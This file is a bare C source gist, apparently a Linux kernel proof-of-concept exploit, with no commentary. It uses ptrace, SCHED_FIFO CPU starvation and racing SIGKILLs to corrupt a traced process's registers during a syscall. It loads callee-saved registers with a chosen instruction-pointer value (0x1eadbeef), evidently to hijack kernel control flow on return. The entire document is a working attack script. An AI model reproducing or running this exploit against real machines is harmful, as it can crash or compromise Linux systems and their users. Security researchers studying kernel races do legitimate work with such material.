gistfile1.c

#include <sched.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <signal.h>

/* S */
int nuke_cpu(void)
{
        int pid0;
        int i;
        unsigned long mask = 1;

        pid0 = fork();
        if (!pid0) {
                struct sched_param p = {};
                p.sched_priority = sched_get_priority_min(SCHED_FIFO);
                assert(!sched_setscheduler(0, SCHED_FIFO, &p));
                assert(!sched_setaffinity(0, sizeof(mask), &mask));
                i = 0;
                usleep(120000);
                while(1) {
                        if (i == 50000) {
                                usleep(10);
                                printf("x");
                                fflush(stdout);
                        }
                        i++;
                }
        }

        return pid0;

}


int once()
{
        long i;
        int pid0;
        int pid;
        unsigned long mask = 1;
        struct user_regs_struct regs;
        assert(!sched_setaffinity(0, sizeof(mask), &mask));

        pid = fork();

        if (!pid) {
                /* V */
                while (1) {
                        /* Put our chosen RIP in callee saved registers */
                        asm __volatile__ (
                                "mov $0x1eadbeef, %%rbx\n"
                                "mov $0x1eadbeef, %%rbp\n"
                                "mov $0x1eadbeef, %%r12\n"
                                "mov $0x1eadbeef, %%r13\n"
                                "mov $0x1eadbeef, %%r14\n"
                                "mov $0x1eadbeef, %%r15\n"
                                "mov $0, %%rsi\n"
                                "mov $0, %%rdi\n"
                                "mov $0x6d, %%rax\n"
                                "syscall":::"rax","rsi","rdi",
                                                "r12", "rbx");

                }
        } else {
                /* P */
                assert(!ptrace(PTRACE_ATTACH, pid, 0, 0));
                wait(NULL);
                assert(!ptrace(PTRACE_SETOPTIONS, pid, NULL,
                        PTRACE_O_TRACESYSGOOD |
                        PTRACE_O_TRACEFORK |
                        PTRACE_O_TRACEVFORK |
                        PTRACE_O_TRACECLONE));
                while(1) {
                        int nuke_pid;
                        int pid2;
                        mask = 0xfffe;
                        assert(!sched_setaffinity(0, sizeof(mask), &mask));
                        /*Entry */
                        assert(!ptrace(PTRACE_SYSCALL, pid, NULL, 0, 0));
                        wait(NULL);
                        assert(!ptrace(PTRACE_GETREGS, pid, NULL, &regs));

                        nuke_pid = nuke_cpu();

                        regs.orig_rax = 0x3c;

                        pid2 = fork();
                        if (!pid2) {
                                /* K */
                                usleep(120000);
                                kill(pid, SIGKILL);
                                printf(".");
                                fflush(stdout);
                                exit(0);
                        }
                        printf("{");
                        fflush(stdout);
                        if (!ptrace(PTRACE_SETREGS, pid, NULL, &regs)) {
                                printf("+");
                        } else {
                                printf("-");
                        }

                        ptrace(PTRACE_CONT, pid, NULL, 0, SIGKILL);
                        kill(pid, SIGKILL);
                        kill(pid2, SIGKILL);
                        kill(nuke_pid, SIGKILL);
                        exit(0);
                }
        }
}

int main(void) {

        while (1) {
                int pid = fork();
                if (!pid) {
                        once();
                }
                wait(NULL);
        }
}